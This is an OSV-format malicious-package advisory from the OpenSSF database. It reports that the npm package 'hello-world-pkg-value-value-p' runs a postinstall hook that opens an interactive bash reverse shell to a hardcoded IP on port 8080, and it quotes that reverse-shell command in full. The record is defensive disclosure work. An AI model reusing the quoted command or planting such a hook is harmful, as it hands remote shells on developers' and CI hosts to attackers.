{"id":"MAL-2026-3714","summary":"Malicious code in hello-world-pkg-value-value-p (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (d768990007f2926e3a58020102d277c3a604c6aa3bc70056cd466bc24437fc89)\nThis package's postinstall hook executes `node index.js`, which runs `execSync('bash -i \u003e& /dev/tcp/52.249.218.132/8080 0\u003e&1')` — an interactive bash reverse shell to the hardcoded attacker IP 52.249.218.132 on TCP port 8080. Any developer or CI system that runs `npm install hello-world-pkg-value-value-p` hands an interactive shell (running as the installing user) to whoever controls that IP. The package metadata is a meaningless-name cover story ('minimal npm...') with no legitimate functionality; the sole effect of installation is to open a remote shell on the installer's host. This is unambiguous unauthenticated RCE against the installer with no legitimate use case.\n\n## Source: ossf-package-analysis (0df4b35a2af7f4d8b4fdcda0dcb3e872deddb6a320bf6af8405b27f42ff413db)\nThe OpenSSF Package Analysis project identified 'hello-world-pkg-value-value-p' @ 1.0.11 (npm) as malicious.\n\nIt is considered malicious because:\n\n- The package executes one or more commands associated with malicious behavior.\n","modified":"2026-05-15T07:49:23.684092Z","published":"2026-05-13T13:08:38Z","database_specific":{"malicious-packages-origins":[{"modified_time":"2026-05-13T13:08:38Z","sha256":"0df4b35a2af7f4d8b4fdcda0dcb3e872deddb6a320bf6af8405b27f42ff413db","source":"ossf-package-analysis","versions":["1.0.11"],"import_time":"2026-05-13T21:58:23.154926665Z"},{"versions":["1.0.4"],"id":"IN-MAL-2026-002759","import_time":"2026-05-15T07:37:19.280980693Z","modified_time":"2026-05-14T19:25:49Z","sha256":"d768990007f2926e3a58020102d277c3a604c6aa3bc70056cd466bc24437fc89","source":"amazon-inspector"}]},"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/hello-world-pkg-value-value-p/v/1.0.4"}],"affected":[{"package":{"name":"hello-world-pkg-value-value-p","ecosystem":"npm","purl":"pkg:npm/hello-world-pkg-value-value-p"},"versions":["1.0.11","1.0.4"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"index.js","sha256":"5ee235e3056492d060dbdb038afd6c219e51f92d8328e15affae127f3f363c6e","tlsh":"d3e0ab722a752336683004606e1300b3e743f205a330f752f9fe872a2e90c84c825eec"}],"package_integrity":[{"filename":"hello-world-pkg-value-value-p-1.0.4.tgz","hashes":{"sha1":"ff0d0ef532557d79d9200b22b15db38c2eb03d76","sha512_sri":"sha512-hTDe3h33rIsomPiwHzu8MuDZqx+gP5x8czB76QPwIRGDdv+lo5lsCqWBKL9UQoUx9YneK2xWFceWCadhgKmeOQ=="}}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/hello-world-pkg-value-value-p/MAL-2026-3714.json"}}],"schema_version":"1.7.5","credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"},{"name":"OpenSSF: Package Analysis","contact":["https://github.com/ossf/package-analysis","https://openssf.slack.com/channels/package_analysis"],"type":"FINDER"}]}